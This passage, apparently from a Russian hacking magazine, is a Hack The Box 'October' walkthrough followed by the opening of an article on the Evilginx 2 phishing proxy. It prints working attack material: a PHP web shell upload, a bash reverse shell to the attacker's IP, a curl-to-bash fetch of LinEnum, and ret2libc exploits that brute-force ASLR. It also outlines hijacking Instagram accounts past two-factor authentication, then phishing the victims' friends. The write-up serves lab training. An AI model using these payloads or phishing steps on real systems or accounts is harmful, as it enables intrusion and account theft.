|   1024 79:b1:35:b6:d1:25:12:a3:0c:b5:2e:36:9c:33:26:28 (DSA)
|   2048 16:08:68:51:d1:7b:07:5a:34:66:0d:4c:d0:25:56:f5 (RSA)
|   256 e3:97:a7:92:23:72:bf:1d:09:88:85:b6:6c:17:4e:85 (ECDSA)
|_  256 89:85:90:98:20:bf:03:5d:35:7f:4a:a9:e1:1b:65:31 (ED25519)
80/tcp open  http    syn‐ack ttl 63 Apache httpd 2.4.7 ((Ubuntu))
| http‐methods:
|_  Potentially risky methods: PUT PATCH DELETE
|_http‐server‐header: Apache/2.4.7 (Ubuntu)
|_http‐title: October CMS ‐ Vanilla
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at 
https://nmap.org/submit/ .
# Nmap done at Mon Sep 23 19:04:31 2019 ‐‐ 1 IP address (1 host up) 
scanned in 10.19 seconds

За вер шающим дей стви ем я вызову Nmap с перемен ной  , где хра нит ся
отсорти рован ный  спи сок  най ден ных  пор тов,  в  качес тве  зна чения  опции  .
Флаг    слу жит  для  того,  что бы  ска нер мог  аргу мен тирован но  «объ‐ 
яснить», на осно вании каких дан ных он сде лал тот или иной вывод о ста тусе
дос тупнос ти  каж дого  пор та.  Эти  доводы  мож но  наб людать  в  появив шей ся
колон ке  .

$ports
‐p

‐‐reason

REASON
Су дя  по  бан неру,  который  «слил»  демон  SSH,  и  дате  релиза  машины

на HTB, это Ubuntu 14.04. Дру гой оче вид ной информа ции нет, поэто му идем
про верять, что тво рит ся на вебе.

Веб — порт 80
На    тебя  встре тит  сер вер  Apache  с  October  CMS
(тема — Vanilla).

http://10.10.10.16:80

Глав ная стра ница веб‐сер вера

Ес ли поис кать информа цию о том, как попасть в панель адми на, то на пер вой
же  стра нице  мы  най дем    на  форуме  самой  CMS:  прос то
добавь   в адресную стро ку.

за бот ливый  ответ
/backend

Дос туп к админке October CMS через /backend

Ока зав шись  в  админке,  я,  недол го  думая,  поп робовал  стан дар тные 
.

admin:
admin

Пос ле авто риза ции в админке

И вот я уже на пороге панели управле ния. Воп росив searchsploit 
  October  CMS,  я  нашел  спо соб  заг рузки  веб‐шел ла.  В  осно ве

спо соба  —  непол ный  чер ный  спи сок  рас ширений  потен циаль но  уяз вимых
фай лов, в котором отсутс тво вало упо мина ние о  .

об извес тных
уяз вимос тях

php5

106: <?php
107: protected function blockedExtensions()
108: {
109:         return [
110:                 // redacted
111:                 'php',
112:                 'php3',
113:                 'php4',
114:                 'phtml',
115:                 // redacted
116:         ];
117: }

На такую воз можность намекал и уже лежав ший в биб лиоте ке скрипт на PHP
5. Поэто му я нажал Upload и заг рузил самый баналь ный бэк дор, который смог
при думать.

 

 
root@kali:~# echo ' ' > backdoor.php5<?php system($_REQUEST["cmd"]); ?>

Заг ружен бэк дор с рас ширени ем .php5

Те перь  я могу ини цииро вать  выпол нение  команд от  име ни  ,  обра‐ 
тив шись к заг ружен ному фай лу с аргу мен том  .

www‐data
cmd

Триг герим уда лен ное выпол нение команд

Ре верс‑шелл
Раз у меня есть RCE, нич то не помеша ет мне получить шелл. Сде лаю я это из
Burp  Suite  для  наг ляднос ти,  про писав  в  качес тве  пей лоада 
на Bash по TCP (мой IP —  , порт —  ).

ре верс‐шелл
10.10.14.15 31337

 

 
bash ‐c 'bash ‐i >& /dev/tcp/10.10.14.15/31337 0>&1'

Ини циируем реверс‐шелл с помощью Burp

Пос ле отправ ки зап роса мож но ловить отклик на netcat.

Ло вим шелл с помощью netcat

Став  обла дате лем  гру бого  шел ла,  я  апгрей дил  его  до  удоб ного  инте рак‐ 
тивно го PTY‐тер минала, как показы вал  .в про хож дении Mischief

Улуч шаю сес сию до пол ноцен ного PTY‐шел ла

Та ким обра зом я ока зал ся внут ри машины и начал осматри вать ся вок руг.

Поль зователь ский флаг получен

LinEnum
Од ним  из  наибо лее  удоб ных  инс тру мен тов  для  сбо ра  информа ции  внут ри
хос та я счи таю  . Этот написан ный на Bash скрипт покажет всю стра‐ 
теги чес ки важ ную информа цию о сис теме в прос том тек сто вом фор мате.

LinEnum

Пересы лаем фай лы с ком фортом
Для  переб роса  фай лов  на  машину‐жер тву  удоб но  исполь зовать  прос той
HTTP‐сер вер на Python.

Соз дай вре мен ную пап ку на сво ем хос те, ско пируй в нее скрипт и запус ти
сер вер  коман дой    (для  Python  2)
или   (для Python 3). Пос ле это го ты смо жешь
обра тить ся  к  содер жимому  вре мен ной  пап ки  с  дру гого  хос та  в  этой  сети.
Обра ти  вни мание,  что  все,  кто  зна ет  нуж ный  IP  и  порт,  на  котором  под нят
сер вер, могут получить дос туп к чте нию фай лов внут ри кор невой дирек тории,
поэто му рекомен дую соз давать имен но   дирек торию, в  которой
нет чувс тви тель ной информа ции (а Path Traversal питонов ский сер вер не под‐ 
вержен).

python  ‐m  SimpleHTTPServer  8888
python3 ‐m http.server 8888

от дель ную

Что бы  не  оставлять  лиш них  сле дов  на  ата куемой машине,  скрипт мож но
выпол нить  без  непос редс твен ного  сох ранения  на  диск  —  прос то  выдер ни
его со сво его сер вера с помощью   и передай на исполне ние интер пре‐ 
тато ру через пайп.

curl

$ curl ‐s http://10.10.14.15:8888/LinEnum.h | bash ‐s ‐‐ ‐t

С  помощью  фла га    и  сле дующе го  пос ле  него  раз делите ля    мож но
переда вать  парамет ры для  самого  скрип та — в  дан ном слу чае   
про вес ти более глу бокое ска ниро вание.

‐s ‐‐
‐t оз нача ет

Не кото рые дру гие быс трые решения для тран сфе ра фай лов, обла дающие
боль шими воз можнос тями, я ког да‐то   у себя в бло ге.рас смат ривал

Из  обширно го  вывода  LinEnum  пер вое,  что  бро сает ся  гла за, —  это  сек ция
с исполня емы ми фай лами, для которых уста нов лен бит SUID.

Фай лы SUID на ВМ October (отчет LinEnum)

Вни мание  прив лек  нес тандар тный  файл  ,  вла дель‐ 
цем которо го явля ется root. Взгля нем на него поб лиже.

/usr/local/bin/ovrflw

ovrflw

Проб ное вза имо дей ствие с ovrflw

 

 

www‐data@october:/usr/local/bin$ file ovrflw 

 
ovrflw: setuid ELF 32‐bit LSB  executable, Intel 80386, version 1 (
SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[sha1]=004cdf754281f7f7a05452ea6eaf1ee9014f07da, not stripped

Пос ле повер хностно го ана лиза ока залось, что:
это динами чес ки ском понован ный 32‐бит ный исполня емый файл;•
он тре бует стро ку в качес тве аргу мен та;•
при исполь зовании стро ки боль шой дли ны прог рамма кра шит ся с ошиб‐ 
кой сег менти рова ния.

•

Су дя  по  наз ванию  фай ла,  ско рее  все го,  этот  бинар ник  уяз вим  к  перепол‐ 
нению буфера.

Преж де чем отпра вить   к себе на машину для пос леду юще го ана‐ 
лиза, выяс ним, акти вен ли механизм   на ВМ October. Это мож но сде лать
любым  из  удоб ных  спо собов:  мож но  про верить  содер жимое  фай ла 

  либо  вос поль зовать ся  скрип том
, который покажет адре са заг рузки раз деля емых биб лиотек, лин кован ных

с фай лом.

ovrflw
ASLR

/proc/sys/kernel/randomize_va_space
ldd

Про вер ка активнос ти механиз ма ASLR на ВМ October

Зна чение    говорит,  что  акти вен  режим  пол ной  ран домиза ции  (к  сло ву, 
сим волизи рует  «уме рен ную»  ран домиза цию  —  ASLR  работа ет  толь ко
для раз деля емых биб лиотек, сте ка,  , vDSO и позици онно незави симых
фай лов;   —  все  в  ста тике),  а  коман да  ,  выпол‐ 
ненная в цик ле 20 раз, при каж дом запус ке показы вает новый адрес заг рузки.

2 1

mmap()
0 ldd  ovrflw  |  grep  libc

INFO

Не рекомен дует ся исполь зовать   для ана лиза
исполня емых фай лов, которым ты не доверя ешь.
Это  сле дует  из  спе цифи ки  работы  скрип та:
в  боль шинс тве  слу чаев  для  извле чения  тре‐ 
буемой  информа ции    прос то  запус кает
бинар ник  с  пред варитель но  уста нов ленны ми
перемен ными  окру жения,  которые  дают  воз‐ 
можность  отсле живать  заг ружен ные  в  память
объ екты,  вза имо дей ству ющие  с  ана лизи руемым
фай лом.

ldd

ldd

Пос мотрим информа цию о ядре.

 

 

www‐data@october:/usr/local/bin$ uname ‐a 
Linux october 4.4.0‐78‐generic #99~14.04.2‐Ubuntu SMP Thu Apr 27 18:51:
25 UTC 2017 i686 athlon i686 GNU/Linux

Кон фигура ция  ВМ  близ ка  к  кон фигура ции  стен да,  который  я  исполь зовал
в  ,  поэто му
перета щим  исполня емый  файл  на  локаль ную  машину  (закоди ровав  его
в  Base64,  к  при меру,  и  ско пиро вав  как  текст)  и  пос мотрим,  с  какими
еще механиз мами безопас ности нам пред сто ит стол кнуть ся.

пер вой  статье  из  серии  об  экс плу ата ции  перепол нения  буфера

АНАЛИЗ OVRFLW В ИСКУССТВЕННЫХ УСЛОВИЯХ
Пе ремес тившись на Ubuntu   (i686), запус тим прог рамму из отладчи ка.16.04.6

Про веря ем, что защища ет ovrflw

По мимо  того  что  в  боевых  усло виях  на  машине‐жер тве  при дет ся  обхо дить
ран домиза цию  адресно го  прос транс тва,  нам  нуж но  будет  обма нуть
механизм,    (DEP,  Data  Execution  Pre‐
vention), об активнос ти которо го говорит  .

пре дот вра щающий  выпол нение  дан ных
NX‐Bit

Убе дить ся в этом мож но так же с помощью ана лиза заголов ков   ути‐ 
литой readelf с фла гом  .

ovrflw
‐l

Ана лиз заголов ков ELF‐фай ла ovrflw

Сег мент сте ка содер жит толь ко фла ги   (Read‐Write), но не   (Exec).RW E
Ас сем блер ный лис тинг фун кции   не слиш ком отли чает ся от  тех при‐ 

меров, которые мы рас смат ривали при   клас сичес кого перепол нения
буфера,  раз ве  что  здесь  допол нитель ный  код  про веря ет,  передан  ли  прог‐ 
рамме аргу мент, и ава рий но ее завер шает, если это го не про изош ло.

main
ана лизе

Лис тинг ассем бле ра фун кции main

Продолжение статьи →
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В КОРОЛЕВСТВЕ PWN
ОБХОДИМ DEP И БРУТФОРСИМ ASLR

НА ВИРТУАЛКЕ С HACK THE BOX

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Об ход DEP — ret2libc
Бу дем пос ледова тель ны и для начала спра вим ся с ней тра лиза цией NX, вре‐ 
мен но отклю чив ASLR на локаль ной машине.

 

 
 sudo sh ‐c 'echo 0 > /proc/sys/kernel/randomize_va_space'$

Убе дим ся в том, что адрес биб лиоте ки   ста тичен.libc.so

Про вер ка активнос ти механиз ма ASLR на локаль ной ВМ

Зна чение памяти заг рузки либы неиз менно, поэто му мож но прис тупать.

INFO

GDB с уста нов ленным PEDA поз воля ет выпол нить
такую про вер ку с помощью все го одной коман ды:

.aslr

Те ория
Ког да у тебя нет воз можнос ти выпол нить шелл‐код пря мо в сте ке, на помощь
при ходит  ,  или  ret2libc.  Суть  ее
прос та: вмес то того что бы под менять адрес воз вра та адре сом внед ренно го
на  стек  вре доно са,  тебе  нуж но  переза писать  сох ранен ное  зна чение  EIP
на адрес фун кции из арсе нала стан дар тной биб лиоте ки язы ка C, которую ты
хотел бы выз вать. Под ска жу: выз вать бы ты хотел, разуме ется, фун кцию 

, которая поз воля ет выпол нять коман ды ОС.

ата ка  воз вра та  в  стан дар тную  биб лиоте ку

sys‐
tem

Ору жие. Мно го ору жия
Ав тор  одно го  из  гай дов  по  перепол нению  буфера  удач но  срав нил  ата ку
ret2libc со сце ной выбора ору жия из пер вой час ти кинот рилогии «Мат рица»,
ког да опе ратор по прось бе Нео заг ружа ет в симуля тор ком нату с бес конеч‐ 
ным  арсе налом.  Разуме ется,  в  нашем  слу чае  арсе нал  конечен  (пос коль ку
конеч на биб лиоте ка  ), одна ко метафо ра близ ка.libc

Опе ратор:
— Итак, что вам нуж но? Кро ме чуда...
Нео:
— Ору жие. Мно го ору жия.

Ссыл ка  на  статью:  ,  гла ва  0x05  —  Attack:
ret2libc.

Binary  Exploitation  ELI5  —  Part  1

Что бы луч ше понимать кон цепцию ата ки, нарису ем пару кар тинок. Как меня‐ 
ется стек во вре мя исполне ния эпи лога любой фун кции?

Из менения сте ка в ходе исполне ния эпи лога фун кции

1. Пос ле  выпол нения  инс трук ции    (которая,  как  ты  пом нишь,  раз‐ 
ворачи вает ся в  ) стек при мет сос тояние, изоб‐ 
ражен ное  сле ва:  ESP будет  ука зывать  на  адрес  воз вра та  в  вызыва ющую
фун кцию, а зна чение EBP вос ста новит ся до зна чения EBP вызыва юще го.

leave

mov esp,ebp; pop ebp

2. Пос ле выпол нения инс трук ции   (которая, гру бо говоря, выпол няет дей‐ 
ствие, похожее на  ) стек при мет сос тояние, изоб ражен ное спра‐ 
ва:  ESP  ста нет  ука зывать  на  зна чение,  которым  закан чивал ся  стек
перед  выпол нени ем  ,  сте ковый  фрейм  вызыва емой  фун кции  будет
окон чатель но уда лен, а вызыва ющий вско ре зай мет ся очис ткой оставше‐ 
гося мусора в виде уже передан ных аргу мен тов.

ret

pop eip

call

Так себя ведет «пра виль ный» эпи лог. Что бы про вес ти ата ку ret2libc и добить‐ 
ся  выпол нения  фун кции    с  пос леду ющим  кор рек тным  завер шени ем
работы  прог раммы,  тебе  нуж но,  что бы  стек  при нял  сле дующий  вид 
тем, как будет дос тигнут финаль ный   уяз вимой фун кции.

system
пе ред

ret

За пол нение сте ка при под готов ке к ата ке ret2libc

1. Ло каль ные  перемен ные  уяз вимой  фун кции  дол жны  быть  запол нены
«мусором», что бы доб рать ся до адре са воз вра та.

2. Ад рес воз вра та  (сох ранен ное зна чение EIP) сле дует переза писать адре‐ 
сом фун кции   из биб лиоте ки  .system libc

3. Пос ле это го в стек нуж но помес тить зна чение адре са фун кции   (так‐ 
же  из  биб лиоте ки  ) —  что бы  прог рамма  не  краш нулась  при  завер‐ 
шении работы фун кции    (это опци ональ но,  и  на  это мес то может
быть переда но слу чай ное зна чение, но так акку рат нее).

exit

libc

system

4. В  кон це  пей лоада  необ ходимо  раз местить  аргу мент  для  фун кции
  —  обыч но  это  стро ка  ,  которая  впос ледс твии  прев‐ 

ратит ся в коман дную обо лоч ку.
system "/bin/sh"

Та ким  обра зом,  перета совав  стек,  мы  искусс твен но  вос созда ли  усло вия
для успешно го вызова фун кции из  , а имен но:libc

прит ворились  вызыва ющей  фун кци ей  и  раз мести ли  в  сте ке  аргу мент
(стро ку  ) для вызыва емой фун кции  ;

•
"/bin/sh" system

прит ворились  инс трук цией    и  раз мести ли  под дель ный  «адрес  воз‐ 
вра та» (адрес фун кции  );

• call

exit

пе реза писа ли ори гиналь ное сох ранен ное зна чение EIP адре сом фун кции
.

•
system

Оце ни эле ган тность этой методи ки: находясь в край ней точ ке сте ково го кад‐ 
ра,  наруши тель раз рабаты вает экс пло ит,  который задом наперед пов торя ет
дей ствия ком пилято ра и зас тавля ет пос ледний неп редна мерен но выпол нить
нуж ную фун кцию инс трук цией  , но не  !ret call

Пе рей дем  к  прак тике  и  пос мотрим,  как  реали зовать  эту  стра тегию
для нашего слу чая.

Прак тика
Пер вым  делом  выяс ним  раз мер  буфера,  который,  собс твен но,  нуж но
перепол нить.  Я  сге нери рую  и  передам  уни каль ный  пат терн  из  200  байт,
а пос ле рас счи таю точ ку переза писи адре са воз вра та по текуще му зна чению
регис тра EIP.

Рас чет сме щения до регис тра EIP в PEDA GDB

 

 

gdb‐peda$ pattern offset 0x41384141 
1094205761 found at offset: 112

Итак, переза пись EIP начина ется с 112‐го бай та. Запом ним это. Теперь нам
нуж но получить четыре клю чевых зна чения:

ад рес заг рузки биб лиоте ки  ;• libc

ве личи ны сме щений отно ситель но базово го адре са    до  биб лиотеч‐ 
ных фун кций   и 

• libc

system ;exit

ве личи ну  сме щения  отно ситель но  базово го  адре са    до  стро ки • libc

."/bin/sh"

Сде лать  это  мож но  не  одним  спо собом,  и  я  про демонс три рую  по  два  воз‐ 
можных вари анта на каж дый пункт.

Ад рес заг рузки libc
Пер вый  вари ант  получе ния  адре са  заг рузки  биб лиоте ки    мы  уже  рас‐ 
смат ривали — дос таточ но прос то вос поль зовать ся шелл‐скрип том  .

libc
ldd

 

 

 ldd ovrflw | grep libc $
libc.so.6 => /lib/i386‐linux‐gnu/libc.so.6 (0xb7e09000)

Ад рес   —  .libc.so.6 0xb7e09000
Дру гой  спо соб  —  обра тить ся  к  фай ловой  сис теме    с  целью

получить отоб ражение памяти, которую исполь зует про цесс  . Для это‐ 
го «заморо зим» выпол нение прог раммы в GDB и зап росим мап пинг памяти.

procfs
ovrflw

 

 

gdb‐peda$ b main      # break main 
gdb‐peda$ r           # run 
gdb‐peda$ i proc map  # info proc mappings

Смот рим отоб ражение памяти в отладчи ке

В  этом  слу чае  по  тому  же  адре су  заг рузит ся  биб лиоте ка    (а
не  ),  которая  исполь зует ся  в  GDB  и  содер жит  допол нитель ную
отла доч ную информа цию. Одна ко общий смысл оста ется неиз менным.

libc‐2.23.so
libc.so.6

Эти же дан ные мож но получить из фай ла  ./proc/<ovrflw_PID>/maps

То же самое через procfs

Сме щения до фун кций system и exit
Ве личи ны  сме щений  фун кций  отно ситель но  базово го  адре са    мож но
зап росить  с  помощью  ути литы  ,  если  при менить  ее  к  самой  биб‐ 
лиоте ке с фла гом   (отоб ража ет   зап рошен ного фай ла).

libc
readelf

‐s таб лицу сим волов

 

 

 readelf ‐s /lib/i386‐linux‐gnu/libc.so.6 | grep ‐e ' system@' ‐e ' 
exit@' 

 

$

141:  0002e9d0    31 FUNC    GLOBAL DEFAULT   13 exit@@GLIBC_2.0
1457: 0003ada0    55 FUNC    WEAK   DEFAULT   13 system@@GLIBC_2.0

Выб рав  инте ресу ющую  нас  информа цию  по  клю чевым  сло вам 
и  ,  мы  получи ли  два  зна чения  сме щения:    для 
и   для  .

system@
exit@ 0x0003ada0 system
0x0002e9d0 exit
Как вари ант, что бы получить адре са нуж ных нам фун кций, мож но исполь‐ 

зовать  коман ду    отладчи ка  GDB.  Заг рузив    для  отладки,  ана‐ 
логич но прос мотру мап пинга памяти выс тавим точ ку оста нова на  , запус‐ 
тим прог рамму и вытащим адре са.

print ovrflw
main

 

 

gdb‐peda$ b main 
gdb‐peda$ r 
gdb‐peda$ p system  # print system 

 
gdb‐peda$ p exit    # print exit 
$1 = {<text variable, no debug info>} 0xb7e43da0 <__libc_system>

$2 = {<text variable, no debug info>} 0xb7e379d0 <__GI_exit>

За мечу, что в дан ном слу чае мы получи ли абсо лют ные зна чения адре сов фун‐ 
кций   и   ( ,   соот ветс твен но), а не их отно‐ 
ситель ные сме щения.

system exit 0xb7e43da0 0xb7e379d0

Сме щение до стро ки "/bin/sh"
Ес ли речь идет о поис ке строк в Linux, оче вид но, не обой дет ся без  ути литы

.strings

 

 

 strings ‐atx /lib/i386‐linux‐gnu/libc.so.6 | grep '/bin/sh' $
15ba0b /bin/sh

Флаг   необ ходим для поис ка по все му фай лу, а   зада ет фор мат вывода
адре са (шес тнад цатерич ный в нашем слу чае).

‐a ‐t x

Дру гой спо соб получе ния адре са   — это поиск «в лоб». В клас‐ 
сичес ком GDB такой поиск реали зует ся коман дой  .

"/bin/sh"
find

 

 

(gdb) b main 
(gdb) r 
(gdb) find 0xb7e09000, +9999999, "/bin/sh" 

 

 
 

(gdb) x/s 0xb7f64a0b 

0xb7f64a0b
warning: Unable to access 16000 bytes of target memory at 0xb7fbe793, 
halting search.
1 pattern found.

0xb7f64a0b:     "/bin/sh"

Здесь  я  ука зываю  началь ный  адрес  для  поис ка,  мак сималь ное  сме щение
отно ситель но его и пат терн, который нуж но най ти. Пос ле чего коман дой ана‐ 
лиза содер жимого ( ) убеж даюсь, что по адре су   дей стви тель‐ 
но находит ся стро ка  .

x/s 0xb7f64a0b
"/bin/sh"

Од нако  ассистент  PEDA  пред лага ет  более  удоб ный  поиск  строк
с помощью встро енной питонов ской коман ды  .searchmem

 

 

gdb‐peda$ b main 
gdb‐peda$ r 
gdb‐peda$ searchmem '/bin/sh' 

 
 

Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xb7f64a0b ("/bin/sh")

В этом слу чае я получаю нуж ный резуль тат в одно дей ствие.

Экс пло ит
Те перь у тебя есть все, что бы офор мить экс пло ит на Python.

#!/usr/bin/env python
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python exploit_no_aslr.py

import struct
from subprocess import call

def little_endian(num):
   """Упаковка адреса в формат little endian."""
   return struct.pack('<I', num)

junk = "A" * 112            # Мусор

libc_addr = 0xb7e09000      # Базовый адрес libc

system_offset = 0x0003ada0  # Смещение функции system
exit_offset = 0x0002e9d0    # Смещение функции exit
sh_offset = 0x0015ba0b      # Смещение строки "/bin/sh"

system_addr = little_endian(libc_addr + system_offset)
exit_addr = little_endian(libc_addr + exit_offset)
sh_addr = little_endian(libc_addr + sh_offset)

payload = junk + system_addr + exit_addr + sh_addr

call(['./ovrflw', payload])

exploit_no_aslr.py

Та ким обра зом, мы обош ли защиту от выпол нения кода в сте ке. Сама по себе
защита  DEP  не  может  помешать  ата ке  ret2libc,  так  как  в  дан ном  слу чае  мы
прив лека ем сущес тву ющий в адресном прос транс тве машин ный код.

Ус ложнить  экс плу ата цию  подоб ного  рода  поз воля ет  тех нология  ран‐ 
домиза ции  раз мещения  адресно го  прос транс тва  ASLR,  бла года ря  которой
адрес  заг рузки  стан дар тной  биб лиоте ки  в  память  меня ется  с  каж дым
вызовом прог раммы. На 64‐бит ных архи тек турах это решение и прав да силь‐ 
но  зат рудня ет  жизнь  «низ коуров невому»  наруши телю,  одна ко  на  32‐бит ных
сис темах адрес   доволь но лег ко мож но подоб рать, если не огра ниче но
количес тво раз решен ных запус ков уяз вимого исполня емо го фай ла.

libc

Об ход ASLR — метод «гру бой силы»
Ак тивиру ем ASLR и взгля нем на то, как меня ются адре са заг рузки  , сно ва
выпол нив скрипт   в цик ле.

libc
ldd

 

 
 sudo sh ‐c 'echo 2 > /proc/sys/kernel/randomize_va_space'$

Из менение адре сов заг рузки libc на локаль ном стен де с активным ASLR

На моем стен де, рав но как и на ВМ October, зна читель ным изме нени ям под‐ 
верга ется все го   (тре тий и чет вертый раз ряды адре са, пред став‐ 
ленно го в шес тнад цатерич ной записи, начиная отсчет с нуля) и   (в
пятом раз ряде, где мы видим все го два раз личных зна чения).

один байт

один бит

Ко личес тво адре сов для перебо ра

В квад ратных скоб ках я отме тил количес тво воз можных вари антов для дан ной
позиции,  исхо дя  из  раз мышле ний  выше.  Сле дова тель но,  если  я  возь му
наугад слу чай ный адрес из тех 512 зна чений, которые могут «выпасть»,  то я
получу шанс   уга дать пра виль ный адрес  . Одна ко
если  я  запущу  тот  же  самый  экс пло ит  1000  раз,  то  мои  шан сы  на  успех
повысят ся  до  ,  что  зву чит  нам ного  более
опти мис тично.

1 ‐ (511/512) ≈ 0,2% libc

1  ‐  (511/512)^1000  ≈  85,84%

Мо дифи циру ем наш скрипт, обер нув вызов прог раммы в цикл.

#!/usr/bin/env python
# ‐*‐ coding: utf‐8 ‐*‐

# Использование: python exploit.py

import struct
from subprocess import call

def little_endian(num):
   """Упаковка адреса в формат little endian."""
   return struct.pack('<I', num)

junk = "A" * 112            # Мусор

libc_addr = 0xb7e09000      # Базовый адрес libc

system_offset = 0x0003ada0  # Смещение функции system
exit_offset = 0x0002e9d0    # Смещение функции exit
sh_offset = 0x0015ba0b      # Смещение строки "/bin/sh"

system_addr = little_endian(libc_addr + system_offset)
exit_addr = little_endian(libc_addr + exit_offset)
sh_addr = little_endian(libc_addr + sh_offset)

payload = junk + system_addr + exit_addr + sh_addr

for i in range(1, 1001):
   print 'Try: %s' % i
   call(['./ovrflw', payload])

Пос ле запус ка перебо ра на 155‐й попыт ке мне вер нулся шелл.

exploit.py

В БОЕВЫХ УСЛОВИЯХ
Сно ва перемес тившись в сес сию на October, я про делаю то же самое, что бы
получить нуж ные мне зна чения адре сов памяти.

По луче ние необ ходимых адре сов на ВМ October

И про веду экс плу ата цию пря мо из Bash.

Фи наль ный экс пло ит в одну стро ку

Я ожи дал, что перебор зай мет хотя бы нес коль ко минут, но на шес той попыт‐ 
ке уяз вимый бинарь уже сдал ся.

На этом все, «Октябрь» прой ден!

Тро фей

https://ru.wikipedia.org/wiki/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_%D0%B2%D0%BE%D0%B7%D0%B2%D1%80%D0%B0%D1%82%D0%B0_%D0%B2_%D0%B1%D0%B8%D0%B1%D0%BB%D0%B8%D0%BE%D1%82%D0%B5%D0%BA%D1%83
https://hackernoon.com/binary-exploitation-eli5-part-1-9bc23855a3d8
https://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0_%D1%81%D0%B8%D0%BC%D0%B2%D0%BE%D0%BB%D0%BE%D0%B2
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ВЗЛОМ

В  этой  статье  мы  изу чим,  как  работа ет
реверс‐прок си  Evilginx  2,  и  на  при мере  In‐
stagram пос мотрим, как с его помощью уво‐ 
дят акка унты в обход двух фактор ной аутен‐ 
тифика ции.  Под нимем  боевой  стенд,  нас‐ 
тро им  все  необ ходимые  парамет ры
и закинем удоч ку с нажив кой посоч нее. Уже
клю ет! Под секай!

ПОДНОГОТНАЯ ОБМАННЫХ МАНЕВРОВ
Для  защиты  акка унтов  круп ные  онлайн‐сер висы  исполь зуют  двух фактор ную
аутен тифика цию  (2FA). Обыч но  ее  реали зация  сво дит ся  к  тому,  что  помимо
логина  и  пароля  нуж но  ввес ти  одно разо вый  код,  при сыла емый  в  SMS
или  push‐уве дом лении  на  номер  мобиль ного,  ука зан ный  при  регис тра ции.
До недав них пор 2FA счи талась срав нитель но надеж ной про тиво угон ной сис‐ 
темой,  одна ко  сей час  уже  есть  готовые  инс тру мен ты,  поз воля ющие  лег ко
пре одо левать ее.

INFO

Пос ле  выхода    наш  почет ный
читатель и   автор Bo0oM оста вил ком‐ 
мента рий: «Но есть же evilginx?». Это под тол кну ло
меня  к  иссле дова нию  дан ного  инс тру мен та
и написа нию статьи.

статьи  о  Modlishka
вре мена ми

Один  из  них —  Evilginx  2,  о  котором  мы  и  погово рим.  Это  обратный  прок‐ 
си‐сер вер и готовый фрей мворк для выпол нения MITM‐ата ки с целью обхо да
двух фактор ной  аутен тифика ции.  В  нем  авто мати зиро вано  все,  что  толь ко
мож но. Как же он работа ет?

В общем слу чае для удач ной ата ки фишеру необ ходимо вкли нить ся меж ду
жер твой и зап рашива емым ей сай том, перех ватить учет ные дан ные, а заод но
рас познать и сох ранить cookies сес сии. Сде лать это при обыч ной авто риза‐ 
ции  по  HTTP  было  срав нитель но  прос то,  но  с  перехо дом  сай тов  на  HTTPS
и 2FA пот ребова ло кон цепту аль но дру гих методов.

У  Evilginx  2  есть  супер спо соб ность  соз давать  под писан ный  сер тификат
для  фей кового  сай та  при  помощи  кли ента  бес плат ного  и  пол ностью  авто‐ 
мати зиро ван ного  удос товеря юще го  цен тра  .  Это  помога ет  ата‐ 
кующей сто роне исполь зовать HTTPS и укра сить фишин говый сайт зеленым
замоч ком в адресной стро ке. В ито ге под делка получа ется визу аль но неот‐ 
личимой  от  ори гина ла  (по  край ней  мере,  на  пер вый  взгляд).  Плюс  к  это му
Evilginx 2 самос тоятель но опре деля ет и перех ватыва ет валид ные «печень ки»,
а это — глав ная сос тавля ющая успешно го взло ма.

Let’s Encrypt

Даль ше уже воп рос сме кал ки фишера. Нап ример, получив дос туп к одно‐ 
му акка унту, ты соз даешь от его име ни груп пу или рас сылку с прось бой про‐ 
голо совать в каком‐нибудь кон курсе. Друзья перехо дят по тво ей ссыл ке, а ты
собира ешь учет ки голосу ющих — и пло щадь ата ки рас тет в  геомет ричес кой
прог рессии.

КАК СОЗДАВАЛСЯ ЗЛОЙ ПРОКСИ
Ав тор  опи сыва емо го  инс тру мен та  —  поль ский  этич ный  хакер  Куба  Грец ки

. Пер вое упо мина ние об Evilginx  (на  тот момент еще пер вой вер сии)
в его   датиро вано 6 апре ля 2017 года.
kgretzky

бло ге
Пер воначаль но  за  осно ву  он  взял  два  модуля  популяр ного  веб‐сер вера

Nginx:   и  . В Evilginx пер вый модуль бло киру ет дос туп жер‐ 
твы к реаль ному ресур су, а вто рой переда ет перех вачен ные зап росы на тре‐ 
буемый  сер вер  и  обратно.  Уже  на  тот  момент  прог рамма  пред став лялась
как инс тру мент, который спо собен про бить защиту 2FA.

sub_filter proxy_pass

Раз работ чика приг ласили для выс тупле ния на кон ферен цию WarCon 2018,
где  его  заметил  Кевин  Мит ник.  Он    про  Evilginx,  что  пос лужило
отличной  рек ламой.  Evilginx  начал  быс тро  набирать  популяр ность.  К  июню
того же года было выпуще но два релиза Evilginx — 1.0 и 1.1.

на писал

На  все  том  же WarCon  2018  Куба  Грец ки  поз накомил ся  с  ведущим  спе‐ 
циалис том  по  информа цион ной  безопас ности  италь янской  фир мы  Zimperi‐
um  —  «белым  хакером»  Симоне  Мар гарител ли,  пуб лику ющим  свои  иссле‐ 
дова ния под псев донимом  . Мар гарител ли показал ему все пре лес‐ 
ти  язы ка  Go  и  вдох новил  перепи сать  Evilginx.  Год  спус тя  вышел  пол ностью
перера ботан ный  Evilginx  2.  Про ект  эво люци они ровал  от  идеи  MITM  through
Nginx  до  «Evilginx  2  w/o  Nginx.  Pure  Go,  and  pure  evil».  Это  был  пер вый
перелом ный момент.

evilsocket

Вто рой нас тупил, ког да свет уви дел опен сор сный про ект  . На тот
момент  слож ность  исполь зования  Evilginx  2  зак лючалась  в  прок сирова нии
тра фика. Необ ходимо было писать мно жес тво филь тров, которые динами чес‐ 
ки заменя ли ссыл ки на фишин говые. Делалось это методом проб и оши бок,
что силь но усложня ло код.

Modlishka

За тем  Куба  Грец ки  уви дел,  как  реали зова на  под мена  URL  в  Modlishka.
Ока залось,  что не обя затель но писать  тон ны сво их филь тров — дос таточ но
один  раз  добавить  домен  сай та  и  про писать  общие  пра вила  под мены  тра‐ 
